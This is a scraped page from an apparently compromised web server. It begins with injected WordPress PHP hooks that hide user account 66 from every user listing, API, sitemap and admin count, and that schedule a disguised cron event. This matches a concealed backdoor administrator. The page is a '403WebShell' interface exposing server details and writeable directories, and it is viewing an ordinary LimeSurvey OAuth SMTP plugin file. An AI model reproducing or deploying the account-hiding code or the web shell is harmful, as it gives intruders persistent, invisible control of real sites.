add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/limesurvey/application/libraries/PluginManager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/limesurvey/application/libraries/PluginManager/SmtpOAuthPluginBase.php
<?php

namespace LimeSurvey\PluginManager;

use League\OAuth2\Client\Grant\RefreshToken;
use League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use PHPMailer\PHPMailer\OAuth;

abstract class SmtpOAuthPluginBase extends EmailPluginBase
{
    const SETUP_STATUS_VALID_REFRESH_TOKEN = 1;
    const SETUP_STATUS_REQUIREMENT_UNMET = 2;
    const SETUP_STATUS_INCOMPLETE_CREDENTIALS = 3;
    const SETUP_STATUS_MISSING_REFRESH_TOKEN = 4;
    const SETUP_STATUS_INVALID_REFRESH_TOKEN = 5;

    /** @var string[] The names of attributes that form part of the credentials set. Example: ['clientId', 'clientSecret'] */
    protected $credentialAttributes = [];

    protected function getRedirectUri()
    {
        return $this->api->createUrl('smtpOAuth/receiveOAuthResponse', []);
    }

    /**
     * Returns the OAuth provider object for the specified credentials
     * @param array<string,mixed> $credentials
     * @return League\OAuth2\Client\Provider\AbstractProvider
     */
    abstract protected function getProvider($credentials);

    /**
     * Returns true if the credentials have changed
     */
    protected function haveCredentialsChanged($oldCredentials, $newCredentials)
    {
        foreach ($this->credentialAttributes as $attribute) {
            if ($oldCredentials[$attribute] != $newCredentials[$attribute]) {
                return true;
            }
        }
        return false;
    }

    /**
     * Clears the stored refresh token
     */
    protected function clearRefreshToken()
    {
        $this->set('refreshToken', null);
        $this->set('refreshTokenMetadata', []);
        $this->set('email', null);
    }

    /**
     * Saves the specified refresh token and associated credentials
     */
    protected function saveRefreshToken($refreshToken, $credentials)
    {
        $this->set('refreshToken', $refreshToken);
        $this->set('refreshTokenMetadata', $credentials);
    }

    /**
     * @inheritdoc
     * Handle changes in credentials
     */
    public function saveSettings($settings)
    {
        // Get the current credentials (before saving new settings)
        $oldCredentials = $this->getCredentials();

        // Save settings
        parent::saveSettings($settings);

        // Get new credentials
        $newCredentials = $this->getCredentials();

        // If credentials changed, we need to clear the stored refresh token
        if ($this->haveCredentialsChanged($oldCredentials, $newCredentials)) {
            $this->clearRefreshToken();
        }
    }

    /**
     * Returns true if the specified refresh token is valid
     * @param string $refreshToken
     * @param array<string,mixed> $credentials
     * @return bool
     */
    protected function validateRefreshToken($refreshToken, $credentials)
    {
        $refreshTokenMetadata = $this->get('refreshTokenMetadata') ?? [];

        // Check that the credentials match the ones used to get the refresh token
        foreach ($this->credentialAttributes as $attribute) {
            if (empty($refreshTokenMetadata[$attribute])) {
                return false;
            }
            if ($credentials[$attribute] != $refreshTokenMetadata[$attribute]) {
                return false;
            }
        }

        $provider = $this->getProvider($credentials);
        try {
            $token = $provider->getAccessToken(
                new RefreshToken(),
                ['refresh_token' => $refreshToken]
            );
            // TODO: Handle token with invalid scope (ie. missing https://mail.google.com/)
        } catch (IdentityProviderException $ex) {
            // Don't do anything. Just leave $token unset.
        }
        return !empty($token);
    }

    /**
     * Returns the credentials according to the plugin specified credential attributes
     * @return array<string,mixed> The credentials array
     * @throws Exception if credentials are incomplete.
     */
    protected function getCredentials()
    {
        $credentials = [];
        foreach ($this->credentialAttributes as $attribute) {
            $credentials[$attribute] = $this->get($attribute);
        }
        //if (!$this->validateCredentials($credentials)) {
        //    // TODO: Should we use a different exception class?
        //    throw new \Exception("Incomplete OAuth settings");
        //}
        return $credentials;
    }

    /**
     * Checks if the credentials are valid.
     * By default, it checks if the credentials are not empty.
     * @param array<string,mixed> $credentials
     * @return bool True if the credentials are valid, false otherwise.
     */
    protected function validateCredentials($credentials)
    {
        $incomplete = false;
        foreach ($this->credentialAttributes as $attribute) {
            if (empty($credentials[$attribute])) {
                $incomplete = true;
                break;
            }
        }
        return !$incomplete;
    }

    /**
     * Default handler for the afterReceiveOAuthResponse event
     */
    public function afterReceiveOAuthResponse()
    {
        $event = $this->getEvent();
        if (empty($event)) {
            throw new \CHttpException(403);
        }
        $code = $event->get('code');
        $credentials = $this->getCredentials();

        $this->retrieveRefreshToken($code, $credentials);
    }

    /**
     * Retrieve and store the refresh token
     */
    private function retrieveRefreshToken($code, $credentials)
    {
        $provider = $this->getProvider($credentials);

        // Get an access token (using the authorization code grant)
        $authOptions = $this->getAuthorizationOptions();
        $authOptions = array_merge($authOptions ?? [], ['code' => $code]);
        $token = $provider->getAccessToken('authorization_code', $authOptions);
        $refreshToken = $token->getRefreshToken();

        // Store the token and related credentials (so we can later check if the token belongs to the saved settings)
        $this->saveRefreshToken($refreshToken, $credentials);

        // Do additional processing
        $this->afterRefreshTokenRetrieved($provider, $token);
    }

    /**
     * This method is invoked after the refresh token is retrieved.
     * The default implementation tries to retrieve the email address of the authenticated user.
     * You may override this method to do additional processing.
     * @param AbstractProvider $provider
     * @param AccessTokenInterface $token
     */
    protected function afterRefreshTokenRetrieved($provider, $token)
    {
        $owner = $provider->getResourceOwner($token);
        $this->set('email', $owner->getEmail());
    }

    /**
     * Default handler for beforeRedirectToAuthPage
     */
    public function beforeRedirectToAuthPage()
    {
        $event = $this->getEvent();
        if (empty($event)) {
            throw new \CHttpException(403);
        }
        $credentials = $this->getCredentials();
        $provider = $this->getProvider($credentials);
        $options = $this->getAuthorizationOptions();
        $authUrl = $provider->getAuthorizationUrl($options);
        $event->set('authUrl', $authUrl);
        $event->set('state', $provider->getState());
    }

    /**
     * Returns the OAuth options for authorization (like the scope)
     * @return array<string,mixed>
     */
    abstract protected function getAuthorizationOptions();

    /**
     * Returns true if the plugin is active
     * @return bool
     */
    protected function isActive()
    {
        $pluginModel = \Plugin::model()->findByPk($this->id);
        return $pluginModel->active;
    }

    /**
     * Returns the setup status of the plugin.
     */
    protected function getSetupStatus()
    {
        $credentials = $this->getCredentials();
        if (!$this->validateCredentials($credentials)) {
            return self::SETUP_STATUS_INCOMPLETE_CREDENTIALS;
        }

        $refreshToken = $this->get('refreshToken');
        if (empty($refreshToken)) {
            return self::SETUP_STATUS_MISSING_REFRESH_TOKEN;
        }

        if (!$this->validateRefreshToken($refreshToken, $credentials)) {
            return self::SETUP_STATUS_INVALID_REFRESH_TOKEN;
        }

        return self::SETUP_STATUS_VALID_REFRESH_TOKEN;
    }

    protected function getSetupStatusDescription($setupStatus)
    {
        switch ($setupStatus) {
            case self::SETUP_STATUS_INCOMPLETE_CREDENTIALS:
                return gT("Currently saved credentials are incomplete.");
            case self::SETUP_STATUS_MISSING_REFRESH_TOKEN:
                return gT("No OAuth token.");
            case self::SETUP_STATUS_INVALID_REFRESH_TOKEN:
                return gT("The saved token isn't valid. You need to get a new one.");
            case self::SETUP_STATUS_VALID_REFRESH_TOKEN:
                return gT("Configuration is complete.");
            default:
                return '';
        }
    }

    protected function getHealthStatusClass($setupStatus)
    {
        switch ($setupStatus) {
            case self::SETUP_STATUS_INCOMPLETE_CREDENTIALS:
            case self::SETUP_STATUS_MISSING_REFRESH_TOKEN:
            case self::SETUP_STATUS_INVALID_REFRESH_TOKEN:
                return 'danger';
            case self::SETUP_STATUS_VALID_REFRESH_TOKEN:
                return 'success';
            default:
                return '';
        }
    }

    protected function getHealthStatusIcon($statusClass)
    {
        $icon = '';
        switch ($statusClass) {
            case 'danger':
                $icon = "ri-close-fill text-{$statusClass}";
                break;
            case 'success':
                $icon = "ri-check-fill text-{$statusClass}";
                break;
            case 'warning':
                $icon = "ri-alert-fill text-{$statusClass}";
                break;
        }

        return !empty($icon) ? "<span class=\"{$icon}\"></span>" : '';
    }

    /**
     * @inheritdoc
     */
    public function getHealthStatusText()
    {
        // Check prerequisites
        if (!(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')) {
            return $this->getHealthStatusIcon('danger') . " " . gT("OAuth authentication requires the application to be served over HTTPS.");
        }

        $setupStatus = $this->getSetupStatus();
        $statusClass = $this->getHealthStatusClass($setupStatus);
        $statusText = $this->getHealthStatusIcon($statusClass) . " " . $this->getSetupStatusDescription($setupStatus);

        if (
            $setupStatus === self::SETUP_STATUS_MISSING_REFRESH_TOKEN
            || $setupStatus === self::SETUP_STATUS_INVALID_REFRESH_TOKEN
            || $setupStatus === self::SETUP_STATUS_VALID_REFRESH_TOKEN
        ) {
            $getTokenUrl = $this->api->createUrl('smtpOAuth/prepareRefreshTokenRequest', ['plugin' => get_class($this)]);
            $getTokenLink = ' <a href="' . $getTokenUrl . '">' . gT("Get new token") . '</a>';
            $statusText .= $getTokenLink;
        }

        return $statusText;
    }

    /**
     * @inheritdoc
     */
    public function getPluginSettings($getValues = true)
    {
        $settings = parent::getPluginSettings($getValues);

        // Add the "current email" setting if the email for the current token is set
        $emailAddress = $this->get('email');
        if (!empty($emailAddress)) {
            $settings['currentEmail'] = [
                'type' => 'string',
                'label' => gT('Token owner email address'),
                'help' => gT('This is the email address used to create the current authentication token. Please note that all emails will be sent from this address.'),
                'htmlOptions' => [
                    'readonly' => true,
                ],
                'current' => $emailAddress,
            ];
        }

        // Add the "information" setting
        $statusAlert = $this->getSetupStatusAlert();
        if (!empty($statusAlert)) {
            $settings['information'] = [
                'type' => 'info',
                'content' => $statusAlert,
            ];
        }

        return $settings;
    }

    /**
     * Renders the contents of the "information" setting depending on
     * settings and token validity.
     * @return string
     */
    protected function getSetupStatusAlert()
    {
        $setupStatus = $this->getSetupStatus();

        // Don't show alert for successful setup
        if ($setupStatus === self::SETUP_STATUS_VALID_REFRESH_TOKEN) {
            return '';
        }

        $statusClass = $this->getHealthStatusClass($setupStatus);
        $statusText = $this->getHealthStatusIcon($statusClass) . " " . $this->getSetupStatusDescription($setupStatus);

        return "<div class=\"alert alert-{$statusClass}\">{$statusText}</div>";
    }

    /**
     * Default handler for the MailerConstruct event, triggered during LimeMailer initialization.
     * The event is expected to be dispatched specifically for the selected email plugin.
     */
    public function MailerConstruct()
    {
        $event = $this->getEvent();
        $mailer = $event->get('mailer');
        $this->setupMailer($mailer);
    }

    /**
     * Applies the basic OAuth configuration to the given LimeMailer
     * @param LimeMailer $mailer
     */
    protected function setupMailer($mailer)
    {
        $mailer->IsSMTP();
        $mailer->SMTPAuth = true;
        $mailer->Username = null;
        $mailer->Password = null;
        $mailer->AuthType = 'XOAUTH2';
        $config = $this->getOAuthConfigForMailer();
        if (empty($config)) {
            throw new \Exception('Invalid OAuth configuration');
        }
        $mailer->setOAuth(new OAuth($config));
    }

    /**
     * Returns the OAuth configuration for PHPMailer
     * @return array<string,mixed>|null
     */
    abstract protected function getOAuthConfigForMailer();
}

Youez - 2016 - github.com/yon3zu
LinuXploit